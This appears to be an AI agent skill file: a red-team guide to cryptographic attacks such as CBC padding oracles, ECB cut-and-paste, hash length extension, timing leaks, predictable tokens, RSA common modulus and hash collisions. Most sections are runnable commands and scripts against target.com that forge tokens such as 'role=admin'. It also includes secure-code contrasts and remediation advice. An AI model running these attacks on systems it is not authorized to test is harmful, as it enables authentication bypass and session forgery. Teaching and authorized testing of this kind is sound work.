---
name: rt-crypto-attacks
description: "Cryptographic attack skill for authorized engagements. CBC padding oracle exploitation, ECB block manipulation and cut-paste attacks, hash length extension attacks, weak PRNG exploitation, timing attacks on authentication, MD5/SHA1 collision exploitation, RSA common modulus and small exponent attacks, and identifying custom/broken encryption schemes. Use when testing cryptographic implementations in web apps, APIs, or proprietary protocols."
---

# rt-crypto-attacks — Cryptographic Vulnerability Exploitation

## Overview

Cryptographic vulnerabilities arise from using broken algorithms, incorrect modes of operation, weak key generation, or flawed implementations. In web applications and APIs, these manifest as exploitable oracle attacks, forgeable tokens, and bypassable authentication.

---

## Attack 1 — CBC Padding Oracle

**Condition:** Application decrypts user-supplied ciphertext and returns different errors for padding failures vs decryption failures (even via timing differences).

**Impact:** Decrypt any ciphertext block-by-block without the key. Forge arbitrary ciphertext.

```python
# Manual padding oracle concept
# CBC decryption: P[i] = D(C[i]) XOR C[i-1]
# Padding oracle: if we flip bytes in C[i-1], and server says "padding valid"
# → we can deduce D(C[i]) byte by byte

# Tool: PadBuster
padbuster https://target.com/profile?data=BASE64_ENCRYPTED_DATA BASE64_ENCRYPTED_DATA 8 \
  -encoding 0 \
  -error "Invalid padding"
# 8 = block size (AES = 16, DES = 8)

# Decrypt existing ciphertext
padbuster https://target.com/api BASE64_CIPHERTEXT 16 -encoding 2

# Forge new plaintext (e.g., change role=user to role=admin)
padbuster https://target.com/api BASE64_CIPHERTEXT 16 \
  -encoding 2 \
  -plaintext "role=admin&user=attacker"

# Tool: bit-flipper / padding-oracle-attack
pip3 install padding-oracle-attacker
python3 -m padding_oracle_attacker decrypt \
  --url "https://target.com/api?token={}" \
  --ciphertext "BASE64_TOKEN" \
  --block-size 16 \
  --error "Invalid token"
```

**Detection in source code:**
```python
# VULNERABLE — different exceptions leak oracle
try:
    plaintext = cipher.decrypt(ciphertext)
except PaddingError:
    return "Invalid padding"   # ← ORACLE
except DecryptionError:
    return "Decryption failed" # ← ORACLE (different response = oracle)

# SECURE — same response always
try:
    plaintext = cipher.decrypt(ciphertext)
except Exception:
    return "Invalid token"  # Always same response
```

---

## Attack 2 — ECB Block Manipulation (Cut & Paste)

**Condition:** Application uses AES-ECB mode (identical plaintext blocks → identical ciphertext blocks).

**Impact:** Rearrange, duplicate, or substitute encrypted blocks to forge arbitrary plaintexts.

```python
# Detect ECB: send repeated plaintext, check for repeated blocks in ciphertext
import requests, base64

def detect_ecb(ciphertext_b64):
    ct = base64.b64decode(ciphertext_b64)
    blocks = [ct[i:i+16] for i in range(0, len(ct), 16)]
    return len(blocks) != len(set(blocks))  # True = ECB detected

# Test: register with username "AAAAAAAAAAAAAAAA" (16 A's)
# If ciphertext has repeated 16-byte blocks → ECB mode

# ECB Cut-and-Paste Attack Example:
# Suppose encrypted cookie format: role=user&admin=false
# Block 1 (bytes 0-15):  "role=user&admin="
# Block 2 (bytes 16-31): "false___________" (padded)

# Step 1: craft input to push "admin=true" to a clean block boundary
# Step 2: capture that block
# Step 3: substitute it into another session's cookie

# Automated with ecb-cpa tool
pip3 install ecb_cpa
python3 ecb_cpa.py --url "https://target.com/encrypt" \
  --param "username" \
  --target "admin=true"
```

---

## Attack 3 — Hash Length Extension

**Condition:** `MAC = hash(secret + message)` — attacker knows hash and message length but not secret.

**Impact:** Append data to message and compute valid MAC without knowing the secret.

```bash
# Tools
pip3 install hashpumpy
# Or: hashpump binary

# Example: API uses HMAC = MD5(secret + "user=alice")
# We know the hash and want to forge: "user=alice&admin=true"

python3 << 'EOF'
import hashpumpy

original_data = b"user=alice"
original_hash = "a3f8c2d1..."  # known hash from response
secret_length = 16  # guess (try 8, 12, 16, 20, 24, 32)
data_to_append = b"&admin=true"

new_hash, new_data = hashpumpy.hashpump(
    original_hash,
    original_data,
    data_to_append,
    secret_length
)
print(f"New hash: {new_hash}")
print(f"New data: {new_data.hex()}")
# Send new_data as message + new_hash as MAC
EOF

# hashpump CLI
hashpump -s "KNOWN_HASH" -d "KNOWN_DATA" -a "&admin=true" -k 16
```

---

## Attack 4 — Timing Attacks

**Condition:** Authentication comparison uses non-constant-time string comparison.

```python
# Detection: measure response time for known-bad vs close-to-valid tokens
import requests, time, statistics

def measure_timing(token):
    times = []
    for _ in range(10):
        start = time.perf_counter()
        requests.get(f"https://target.com/api", 
                    headers={"Authorization": f"Bearer {token}"})
        times.append(time.perf_counter() - start)
    return statistics.mean(times)

# Test tokens that differ at position 0, 1, 2...
# If correct first byte takes longer → timing leak
baseline = measure_timing("AAAAAAAAAAAAAAAA")
for byte in "0123456789abcdef":
    t = measure_timing(byte + "AAAAAAAAAAAAAAA")
    if t > baseline + 0.005:  # 5ms difference
        print(f"Correct first byte: {byte}")

# Tool: timing-attack
pip3 install timing-attack
timing-attack "https://target.com/api?token=PAYLOAD" --payload CHARSET
```

---

## Attack 5 — Weak PRNG / Predictable Tokens

```python
# Test for predictable tokens — collect multiple and analyze

import requests, time

tokens = []
for _ in range(20):
    r = requests.get("https://target.com/reset-password?email=test@test.com")
    # Extract token from email or response
    tokens.append(extract_token(r))
    time.sleep(0.1)

# Check for sequential tokens
if all(int(t, 16) == int(tokens[0], 16) + i for i, t in enumerate(tokens)):
    print("SEQUENTIAL TOKENS DETECTED")

# Check for timestamp-based tokens
import hashlib
ts = int(time.time())
for delta in range(-5, 5):
    candidate = hashlib.md5(str(ts + delta).encode()).hexdigest()
    if candidate in tokens:
        print(f"TIMESTAMP-BASED TOKEN: offset={delta}")

# Tool: OWASP TokenAnalyzer
# Tool: Burp Suite Sequencer (statistical analysis of token randomness)
```

---

## Attack 6 — RSA Common Modulus Attack

```bash
# If two RSA public keys share the same modulus (n) but different exponents (e1, e2)
# And the same message m is encrypted with both:
# C1 = m^e1 mod n, C2 = m^e2 mod n
# → Recover m using extended Euclidean algorithm

python3 << 'EOF'
from math import gcd

def extended_gcd(a, b):
    if b == 0: return a, 1, 0
    g, x, y = extended_gcd(b, a % b)
    return g, y, x - (a // b) * y

def common_modulus_attack(n, e1, e2, c1, c2):
    g, a, b = extended_gcd(e1, e2)
    if g != 1: return None  # gcd must be 1
    if a < 0:
        c1 = pow(c1, -1, n)  # modular inverse
        a = -a
    if b < 0:
        c2 = pow(c2, -1, n)
        b = -b
    return pow(c1, a, n) * pow(c2, b, n) % n

# Usage
n  = int("MODULUS_HEX", 16)
e1 = 65537
e2 = 17
c1 = int("CIPHERTEXT_1_HEX", 16)
c2 = int("CIPHERTEXT_2_HEX", 16)
m = common_modulus_attack(n, e1, e2, c1, c2)
print(f"Recovered plaintext: {bytes.fromhex(hex(m)[2:])}")
EOF
```

---

## Attack 7 — Identify Broken / Custom Encryption

```bash
# Cipher identification
pip3 install pycipher hashid

# Identify hash type
hashid "5f4dcc3b5aa765d61d8327deb882cf99"
# Output: [+] MD5

# Check for ROT13 / Caesar / XOR
python3 -c "
import base64

data = 'VGhpcyBpcyBhIHRlc3Q='  # suspect encoded string
print('base64:', base64.b64decode(data))

# XOR with single byte
raw = bytes.fromhex('0a1b2c3d')
for key in range(256):
    result = bytes([b ^ key for b in raw])
    if all(32 <= b < 127 for b in result):
        print(f'XOR key {key}: {result}')
"

# Frequency analysis (classical ciphers)
python3 << 'EOF'
from collections import Counter
cipher = "GUVF VF N GRFG"
freq = Counter(cipher.replace(' ', ''))
print("Most common:", freq.most_common(5))
# E is most common in English → map most common cipher char to E
# Try ROT13: tr 'A-Za-z' 'N-ZA-Mn-za-m'
EOF

# Tool: CyberChef (web) for automated identification
# Tool: dcode.fr for classical cipher identification
```

---

## Attack 8 — MD5/SHA1 Collision Exploitation

```bash
# MD5 collision: two different inputs with same hash
# shattered.io: SHA1 collision

# If app uses MD5 for file integrity or token deduplication:
# Download collision pair from https://www.mscs.dal.ca/~selinger/md5collision/

# Demonstrate: same MD5, different content
md5sum message1.bin message2.bin
# Both output same hash → integrity check bypassed

# SHA1 collision (shattered.io)
curl -o shattered-1.pdf https://shattered.io/static/shattered-1.pdf
curl -o shattered-2.pdf https://shattered.io/static/shattered-2.pdf
sha1sum shattered-1.pdf shattered-2.pdf
# Same SHA1 → demonstrates file signing bypass
```

---

## Finding Documentation

```
Finding: CBC Padding Oracle
Severity: HIGH (CVSS 7.5)
CWE: CWE-649 (Reliance on Obfuscation or Encryption without Integrity Check)
MITRE: T1600 (Weaken Encryption)

Evidence:
- Different HTTP responses for valid vs invalid padding
- Decrypted session token contents (demonstrate impact)
- Forged admin session token

Remediation:
- Use AES-GCM (authenticated encryption) instead of AES-CBC
- If CBC required: add HMAC-SHA256 authentication before decryption
- Ensure all decryption failures return identical responses
- Implement constant-time comparison for all token validation
```

---

## Skill Levels

**BEGINNER:** Run padbuster/padding oracle tools, use hashid for hash identification, CyberChef for encoding analysis

**INTERMEDIATE:** ECB cut-and-paste attacks, hash length extension with hashpump, timing attack measurement

**ADVANCED:** Custom padding oracle scripts, RSA common modulus attack, weak PRNG prediction

**EXPERT:** Full cryptographic protocol analysis, custom cipher reverse engineering, side-channel exploitation

---

## References

- PadBuster: https://github.com/AonCyberLabs/PadBuster
- hashpumpy: https://github.com/bwall/HashPump
- CryptoHack (learning): https://cryptohack.org
- Cryptopals challenges: https://cryptopals.com
- MITRE T1600: https://attack.mitre.org/techniques/T1600/
